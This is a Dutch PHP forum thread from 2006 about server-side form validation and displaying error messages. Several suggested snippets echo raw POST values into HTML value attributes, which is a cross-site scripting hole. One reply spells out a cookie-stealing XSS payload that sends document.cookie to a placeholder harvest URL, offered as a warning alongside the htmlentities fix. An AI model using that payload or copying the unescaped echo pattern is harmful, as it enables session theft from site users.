[PHP] Formuliervalidatie

[Verwijderd]

Hoi,

Omdat clientsideformuliervalidatie nooit volstaat, wil ik serverside valideren.

Daarvoor heb ik nu deze functie:

code:

function valideer($waarde, $naam, $voorschrift){
    switch($voorschrift){
        case "alfanumeriek":
            if(isset($waarde) && $waarde != ""){
                return true;
            }
            else{
                $foutboodschap[$naam] = "Dit is een alfanumeriek veld.";
                return false;
            }
            break;
        case "numeriek":
            if(isset($waarde) && is_numeric($waarde)){
                return true;
            }
            else{
                return false;
            }
            break;
    }
}

Die wordt aangeroepen in een constructie als:

code:

if(valideer($_POST['naam'], "naam", "alfanumeriek") && valideer($_POST['tijd_voorbereiding'], "tijd_voorbereiding" ,"numeriek") && valideer($_POST['tijd_bereiding'], "tijd_bereiding", "numeriek")){

Dat werkt wel (ik snap best dat het niet dé manier is, tips zijn dan ook welkom!), maar nu moet ik op een of andere manier die foutmeldingen nog vlak achter het bewuste veld kunnen neerknallen, en dan natuurlijk ook alleen wanneer de gebruikersinvoer foutief is.

[ Voor 10% gewijzigd door Verwijderd op 26-05-2006 17:37 ]

[NMe]

Je kan toch in plaats van false een array returnen met daarin alle velden die fout gingen, en de bijbehorende foutmelding? In je formulier kun je dan makkelijk kijken of het element wat je op dat moment afdrukt een fout heeft gegenereerd heeft, en zo ja, die fout afdrukken.

Wat had je zelf al bedacht of geprobeerd? Wat lukte daar niet naar? Waarom niet? Lees Programming Beleid - De "quickstart" eens door.

[TafkaT]

Ik snap het probleem niet echt, het werkt toch?
Dan moet je de rest ook zelf maken, scriptrequests mogen niet

Of begrijp ik de vraag verkeerd?

[Verwijderd]

-NMe- schreef op vrijdag 26 mei 2006 @ 17:22:
Wat had je zelf al bedacht of geprobeerd? Wat lukte daar niet naar? Waarom niet?

Ik had eerst dit er nog tussenstaan:

code:

else{
    $foutboodschap[$naam] = "Dit is een alfanumeriek veld.";
    //toon_fout($foutboodschap[$naam]);
    //echo("<script language=javascript>alert('" . $foutboodschap[$naam] . "')</script>");
    return false;
}

Hij deed die alert erg mooi, dus wist ik dat dat al goed ging.
Toen dacht ik: ik schrijf gewoon een functie die controleert of het formulier al eens verzonden is geweest (en dus de kans bestaat dat er een fout moet afgedrukt worden). Als dat zo is, zou die toon_fout($foutboodschap); dat voor zijn rekening nemen.

Dat gaf niet het gewenste resultaat: als dat bewuste veld goed ingevuld werd, kwam er een 1'tje achter het veld (want 1 is true). Dat mag niet!

Dit is die bewuste functie:

code:

function toon_fout($foutboodschap){
    return $foutboodschap;
}

En die werd dan zo aangeroepen:

code:

...</input><?php echo(toon_fout($foutboodschap['naam'])); ?>

[ Voor 6% gewijzigd door Verwijderd op 26-05-2006 17:38 ]

[shnazzle]

Voor dit probleem moest ik een paar weken geleden ook een oplossing vinden. Ik heb uiteindelijk toch een zeer uitgebreide javascript gebruikt (waarom voldoet client-side niet?). Het gaat bij mij om het valideren van email adres, telefoonnummer, en of iets is ingevuld. Dit werkt perfect.

Javascript controleert on-the-fly of een veld goed ingevuld word, en nog een keer precies hetzelfde bij de submit. Het tonen van fouten doe ik met een javascript inner-html aanroep in een tabel met 3 kolommen (titel, veld, waarschuwing).

Een andere optie om toch PHP te gebruiken is het AJAX concept. Dit is 'the thing to do' nu en moet toegeven dat het goed werkt. Zoek het op zou ik zeggen.

[Verwijderd]

@ shnazzle

JavaScriptvalidatie is relatief makkelijk te omzeilen. Wat die taal doet is via de formulierpagina controleren of het een beetje juist is wat de gebruiker ingeeft. Maar PHP-scripts kan je ook rechtstreeks aanroepen, via bijvoorbeeld de URL. Dan heeft JavaScript helemaal niets meer in de pap te brokken, en is het script volledig op zichzelf aangewezen. En als bijvoorbeeld je MySQL-databank dan ook nog een beetje gammel in elkaar steekt (aanvaardt bijvoorbeeld ook alles wat 'ie toekrijgt), zit je met een probleem.

Op school (afstudeerrichting Communicatie- en Multimediadesign) zagen we wel dat JavaScriptvalideersysteem, maar het blijft draagt volgens mij te weinig verantwoordelijkheid voor zulke belangrijke taken.

En Ajax... Ik hoop ook echt dat daar de toekomst ligt, het is een prachtige techniek. Maar daar heb ik nu even geen tijd voor

[shnazzle]

Verwijderd schreef op vrijdag 26 mei 2006 @ 17:54:
@ shnazzle

JavaScriptvalidatie is relatief makkelijk te omzeilen. Wat die taal doet is via de formulierpagina controleren of het een beetje juist is wat de gebruiker ingeeft.

Volgens mij onderschat je de kracht van JS. Het kan veel meer dan kijken of iets "een beetje juist is". Ook wat mij lijkt is dat validatie in eerste instantie bedoeld is voor de gebruiker. Als hij/zij geen juiste telefoonnummer invoert terwijl deze echt nodig is, is de gebruiker benadeeld.
Het enige voordeel van het PHP scriptje dat ik hiervoor had is dat ik op kon zoeken of het opgegeven domein van het email adres bestond...dat kan JS niet zover ik weet.

Maar PHP-scripts kan je ook rechtstreeks aanroepen, via bijvoorbeeld de URL. Dan heeft JavaScript helemaal niets meer in de pap te brokken, en is het script volledig op zichzelf aangewezen. En als bijvoorbeeld je MySQL-databank dan ook nog een beetje gammel in elkaar steekt (aanvaardt bijvoorbeeld ook alles wat 'ie toekrijgt), zit je met een probleem.

Ik snap deze niet.. kun je dit even uitleggen? het enige wat ik eruit haal waar ik een mening over heb is dat ik het vaak lastig vind dat ik eerst een formulier moet 'submitten' voordat ik PHP erop los kan laten (enter AJAX ). Hiermee krijg je vaak uitgebreide en complexe conditie-gebaseerde segmentatie in een stuk code.

Op school (afstudeerrichting Communicatie- en Multimediadesign) zagen we wel dat JavaScriptvalideersysteem, maar het blijft draagt volgens mij te weinig verantwoordelijkheid voor zulke belangrijke taken.

Het is inderdaad de vraag hoe belangrijk de validatie is. Als het gaat om een voorbeeld zoals ik hierboven noemde, waar de gebruiker benadeeld is door het omzeilen/foutief invoeren, dan is het minder kritisch. Is het wel kritisch ivm databases en specieke acties op de data, dan ben ik ermee eens dat PHP of PHP met AJAX een veel betere oplossing is.
Dus ik zou zeggen, kijk hoe kritisch het is. En kijk wat makkelijker is. En wat betreft omzeilen, dit lijkt me alsnog best moeilijk met JS

En Ajax... Ik hoop ook echt dat daar de toekomst ligt, het is een prachtige techniek. Maar daar heb ik nu even geen tijd voor

Amen

[Mithrandir]

Het ligt eraan waarvoor je de validatie gebruikt. Wat je in elk geval wilt is dat er geen verkeerde dingen in je database komen. Je input moet gesanitized zijn voordat je het in een database wil gooien.

Je wilt niet dat je alleen clientside controleert of iets wel een getal is, als je dat getal zonder meer zomaar in de database gooit. Als het geen getal is, zal je database namelijk een foutmelding geven. Als de gebruiker je javascript omzeilt, kan hij zo je database in als je niet oppast.

[shnazzle]

Zou iemand even een voorbeeld kunnen geven van het omzeilen van validatie als ik een formulier met POST wil submitten?

Voor de rest ben ik het ermee eens dat kritische dingen inderdaad server-side moeten gebeuren. Maar ik ben tot nu toe nog niks tegengekomen waarbij JS niet voldoende was. JS heeft zeer uitgebreide string functies, nummer functies, etc.

[Verwijderd]

Hmmm, POST weet ik niet zo meteen, maar op deze pagina kan je wat eenvoudigs vinden over het misbruiken van deze veilig lijkende POST-methode. Het is niet helemaal wat je bedoelt, en ik voel dat ik hier zelfs je punt bewijs: met JavaScript zou je zoiets kunnen verhinderen.

[NMe]

shnazzle schreef op vrijdag 26 mei 2006 @ 21:09:
Zou iemand even een voorbeeld kunnen geven van het omzeilen van validatie als ik een formulier met POST wil submitten?

Zelf een formuliertje maken. Stel je hebt een formulier met een tekstveld, een passwordveld en een submitbutton die submitten naar http://mijnserver.tld/submit.php. Als ik dan een eigen formulier maak dat naar hetzelfde bestand submit maar zonder Javascriptcode dan is je hele validatie en/of foutafvanging weg. Daarom moet je altijd ook serverside checken. Natuurlijk kan het geen kwaad om ook voor het submitten nog een check te doen met JS, maar je moet er niet afhankelijk van zijn.

[Verwijderd]

En om even terug ontopic te komen...

Dit is mijn validatiecode:

code:

<?php
    function valideer($waarde, $naam, $voorschrift){
        switch($voorschrift){
            case "alfanumeriek":
                if(isset($waarde) && $waarde != ""){
                    unset($_SESSION['foutboodschap'][$naam]);
                    unset($foutboodschap[$naam]);
                    //echo("<script language=javascript>alert('sessievar unset!')</script>");
                    return true;
                }
                else{
                    $_SESSION['foutboodschap'][$naam] = "Dit is een alfanumeriek veld.";
                    return false;
                    //toon_foutboodschap($foutboodschap[$naam]);
                    //return $foutboodschap[$naam];
                    //echo("<script language=javascript>alert('" . $foutboodschap[$naam] . "')</script>");
                }
                break;
            case "numeriek":
                if(isset($waarde) && is_numeric($waarde)){
                    unset($_SESSION['foutboodschap'][$naam]);
                    unset($foutboodschap[$naam]);
                    return true;
                }
                else{
                    $_SESSION['foutboodschap'][$naam] = "Dit is een numeriek veld.";
                    return false;
                }
                break;
        }
    }
    function toon_foutboodschap($foutboodschap){
        //echo("<script language=javascript>alert('" . $foutboodschap . "')</script>");
        if(isset($foutboodschap)){
            return $foutboodschap;
        }
    }
?>

Die roep ik net voor het verwerken van het formulier zo aan:

code:

if($_POST['recept']){
    valideer($_POST['naam'], "naam", "alfanumeriek");
    valideer($_POST['aantal_personen'], "aantal_personen", "numeriek");

En dan doe ik nog eentje (er vlak onder):

code:

if(valideer($_POST['naam'], "naam", "alfanumeriek") && valideer($_POST['aantal_personen'], "aantal_personen", "numeriek")){

Het werkt als een zon, maar het probleem zit 'em in het feit dat ik me er niet zo goed bij voel het twee keer uit te voeren. Voorlopig moet dat nog zo; in PHP (misschien in alle programmeer- of scriptingtalen?) wordt de if-clause meteen afgebroken zodra er aan één voorwaarde niet voldaan wordt (om nutteloos rekenwerk tot een minimum te beperken). Zo worden niet de bewuste sessievariabelen geleegd wanneer de gebruiker het formulier al ietsje beter invult. Tof, maar ik heb het gevoel dat ik hier dan wel gigantisch zondig. Ziet iemand een oplossing?

[ Voor 26% gewijzigd door Verwijderd op 26-05-2006 22:32 ]

[NMe]

Tussenvariabelen gebruiken?

PHP:

if($_POST['recept']){
    $naamOK = valideer($_POST['naam'], "naam", "alfanumeriek");
    $aantalpersOK = valideer($_POST['aantal_personen'], "aantal_personen", "numeriek");

PHP:

if ($naamOK && $aantalpersOK)

Beetje apart trouwens dat je sessies hiervoor misbruikt. Je kan toch, zoals ik in mijn eerste post al zei, gewoon arrays returnen?

[plakbandrol]

Ik zou het ongeveer zo doen (even een simpel formulier met voor- en achternaam)

PHP:

if ($_POST['submit'])
{
   if (!$_POST['voornaam']) { $error['voornaam'] = "Vul een voornaam in"; }
   if (!$_POST['achternaam']) { $error['achternaam'] = "Vul een achternaam in"; }

   if (!$error) // er zijn geen fouten gevonden, dus we kunnen submitten
   {
      //hier kun je de code neerzetten om het formulier in de DB te zetten
   }
}

code:

<form>
Voornaam: <input type="text" value="<?=$_POST['voornaam']?>"> <?=$error['voornaam']?>
Achternaam: <input type="text" value="<?=$_POST['achternaam']?>"> <?=$error['achternaam']?>
<input type="submit">
</form>

(even heel in het kort)

[ Voor 19% gewijzigd door plakbandrol op 26-05-2006 22:45 ]

[Verwijderd]

shnazzle schreef op vrijdag 26 mei 2006 @ 21:09:
Zou iemand even een voorbeeld kunnen geven van het omzeilen van validatie als ik een formulier met POST wil submitten?

Voor de rest ben ik het ermee eens dat kritische dingen inderdaad server-side moeten gebeuren. Maar ik ben tot nu toe nog niks tegengekomen waarbij JS niet voldoende was. JS heeft zeer uitgebreide string functies, nummer functies, etc.

Wat dacht je van het uitschakelen van JavaScript? Gaat heel handig met de Webdeveloper extensie voor firefox. Menu 'Disable' -> 'JavaScript'

[Verwijderd]

Ja achja, altijd lastige problemen. Maar inderdaad: JS omzijlen kan via eigen formulier, JS disablen, LYNX. Hoe ik het doe: Functie die checked of alle required dingen bestaan (zit wel meer reden achter waarom dat appart, maar dat heeft hier nix mee te maken), daarna per actie check of de invoer correct is: Als dat is, opdracht correct uitvoeren, en anders zoekt me template het maar uit.

En dan kan je bijvoorbeeld de ingevoerde waarde weergeven als inhoud van value tag van een input field, met daar boven mooi een foutmelding (maar dat regelt mijn eigen templates allemaal).

[megamuch]

Voor form validatie zijn toch al hele mooie classes geschreven die je eenvoudig in je applicatie kan dumpen?

Ik heb even geen link bij de hand hier, maar volgens mij is die class hier ook wel eens hier op GoT voorbij gekomen.

[orf]

www.formhandler.net

Daarmee zet je formulieren snel en gemakkelijk op.

[shnazzle]

dank voor off-topic reacties...was even niet aan het nadenken over deze 'duh' oplossingen...

ontopic:
Ik ben voor de array aanpak. Het begint pas lastig te worden als je hetzelfde formulier (bij telkens verkeerde invoer) moet invullen met de waardes die al zijn ingevuld. Dan moet je steeds de ingevulde waardes die WEL toelaatbaar zijn doorgeven. Dit was te reden voor mijn gebruik van JS. Ik had een formulier van 20+ velden en dat moest ik elke keer meegeven.

Ik ga weer jammeren over AJAX.... het is echt niet moeilijk om het even een keertje zo te implementeren zonder dat je het hele concept hoeft te begrijpen. Dan kun je een uitgebreide PHP validatie loslaten op je pagina on the fly. Ik zou zeggen...give it a try. Zo niet, de methode die je hebt + arrays moet prima zijn

[Verwijderd]

shnazzle schreef op zaterdag 27 mei 2006 @ 21:55:
Het begint pas lastig te worden als je hetzelfde formulier (bij telkens verkeerde invoer) moet invullen met de waardes die al zijn ingevuld. Dan moet je steeds de ingevulde waardes die WEL toelaatbaar zijn doorgeven.

Dat vang ik zo op: bij elk inputveld geef je value="<?php echo($_POST['naam_veld']) ?>" mee. Of je schrijft een kleine functie die controleert of die bewuste $_POST-waarde bestaat, en dan pas de string 'value=\"" . $_POST['veld_naam'] . "\"' afdrukt. Voordeel: het formulier 'onthoudt' de juiste input, en de gebruiker kan schoonheidsfoutjes in 'foutieve' input verbeteren (denk aan slashes in telefoonnummers, of zo).

[Verwijderd]

Verwijderd schreef op zaterdag 27 mei 2006 @ 23:32:
[...]


Dat vang ik zo op: bij elk inputveld geef je value="<?php echo($_POST['naam_veld']) ?>" mee. Of je schrijft een kleine functie die controleert of die bewuste $_POST-waarde bestaat, en dan pas de string 'value=\"" . $_POST['veld_naam'] . "\"' afdrukt. Voordeel: het formulier 'onthoudt' de juiste input, en de gebruiker kan schoonheidsfoutjes in 'foutieve' input verbeteren (denk aan slashes in telefoonnummers, of zo).

Ja vooral doen. Dat is vrij onveilig. Zo kan ik zeer gemakkelijk javascript code inserten, en als ik dat goed aanpak (custom form auto submitten), kan ik daarmee cookies harvesten.

(Dus: ik maak pagina, op bezoek word die pagina gesubmit (<body onload="form.submit();", die pagina submit iets als:

code:

" onclick="document.location = 'http://.../harvest.php?lala=' + encodeURIComponent(document.cookies)';"

, dan word jouw input tag:

HTML:

<input type="text" value="" onclick="document.location = 'http://.../harvest.php?lala=' + encodeURIComponent(document.cookies)';">

En als daar door iemand op geclicked word (bijvoorbeeld admin), dan heb ik zijn session id en dergelijke. Dus denk voort na voordat je zomaar WELKE post waarde dan ook echo'ed).

Maar goed. Je vergeet deze: htmlentities($jepostwaarde, ENT_QUOTES [, $charset]);


(Kan zijn dat er spelfouten inzitten, maar dfe methode werkt compleet);.

[ Voor 62% gewijzigd door Verwijderd op 28-05-2006 20:44 ]

[Verwijderd]

-NMe- schreef op vrijdag 26 mei 2006 @ 22:34:
Tussenvariabelen gebruiken?

PHP:

if($_POST['recept']){
    $naamOK = valideer($_POST['naam'], "naam", "alfanumeriek");
    $aantalpersOK = valideer($_POST['aantal_personen'], "aantal_personen", "numeriek");

PHP:

if ($naamOK && $aantalpersOK)

Beetje apart trouwens dat je sessies hiervoor misbruikt. Je kan toch, zoals ik in mijn eerste post al zei, gewoon arrays returnen?

Dat van die tussenvariabelen is inderdaad een evidentie die ik over het hoofd heb gezien. Krijg je als je je te lang op één dingetje fixeert, denk ik.

De oplossing die je voorstelt, werkt niet echt volgens mij. PHP gaat er volgens mij toch ook vanuit dat van zodra een variabele bestaat, die true is, niet? Dan krijg je in je if-clause steeds true: als alles in orde is; sowieso true. En in geval van een fout, een string, dus true.

Dat ik een omweg via sessies maak, is omdat ik niet meteen wist hoe ik een variabele die ik in een functie declareer daarbuiten nog kan aanroepen. Dan maar via de superglobal $_SESSION, dacht ik. Liever niet, natuurlijk, dus enige raad? Alvast bedankt

[Verwijderd]

Verwijderd schreef op zondag 28 mei 2006 @ 13:01:
De oplossing die je voorstelt, werkt niet echt volgens mij. PHP gaat er volgens mij toch ook vanuit dat van zodra een variabele bestaat, die true is, niet? Dan krijg je in je if-clause steeds true: als alles in orde is; sowieso true. En in geval van een fout, een string, dus true.

PHP kijkt naar de waarde van de variabele, en bepaalt aan de hand daarvan of 'ie true of false is. Een variable met de waarde "0" of "false" zal false opleveren. Een variabele met de waarde "1", "26.5" of "Yo, aardbewoner" zal true opleveren.

Het bestaan van een variabele controleer je uiteraard met de functie isset(). De test ($nietGedeclareerdeVar) levert volgens mij ook false op, maar dan heb je kans dat PHP een warning opgooit. Dit hangt af van de error reporting-instellingen van PHP. Neem het zekere voor het onzekere, en gebruik altijd functies als isset() of array_key_exists() om het bestaan van een variabele respectievelijk array-sleutel te testen. Je voorkomt hiermee dat het script op een andere PHP-installatie ongewild toch warnings opgooit.

[RedHat]

if/else statement verkeerd opgevat. dacht dat je geen isnum deed dus geedit, sorry

[ Voor 82% gewijzigd door RedHat op 28-05-2006 14:09 ]

[shnazzle]

Voor zover ik weet kan je een variabel als als GLOBAL definieren...maar dit is niet altijd mogelijk. Ik snap het alleen niet zo want ik gebruik constant variabelen binnen en buiten functies. DAnwel met de 'var' aanroep.

[Andre-85]

Een erg interessant artikel over data validatie http://www.phpbuilder.com/columns/weiner20050831.php3

[NMe]

Verwijderd schreef op zondag 28 mei 2006 @ 13:01:
Dat ik een omweg via sessies maak, is omdat ik niet meteen wist hoe ik een variabele die ik in een functie declareer daarbuiten nog kan aanroepen. Dan maar via de superglobal $_SESSION, dacht ik. Liever niet, natuurlijk, dus enige raad? Alvast bedankt

Poging 3: Arrays returnen.

[Verwijderd]

Ik dacht wel dat ik het niet goed snapte... Ik probeer het uit en post hier mijn ervaringen.

[Verwijderd]

Nog even een korte tip, ik denk dat deze functie ook wel handig om in je script te gebruiken voor het valideren.
Trim()

[shnazzle]

Andre-85 schreef op zondag 28 mei 2006 @ 21:53:
Een erg interessant artikel over data validatie http://www.phpbuilder.com/columns/weiner20050831.php3

Volgens mij gaat dit niet zo zeer over validatie maar over software engineering
Maar toch is het een goed artikel dat gelezen moet worden

Verder ga ik mee met -NMe- en zeg...
Poging 3 : AJAX of Arrays returnen

[Verwijderd]

http://www.phpfreakz.nl/artikelen.php?aid=92

succes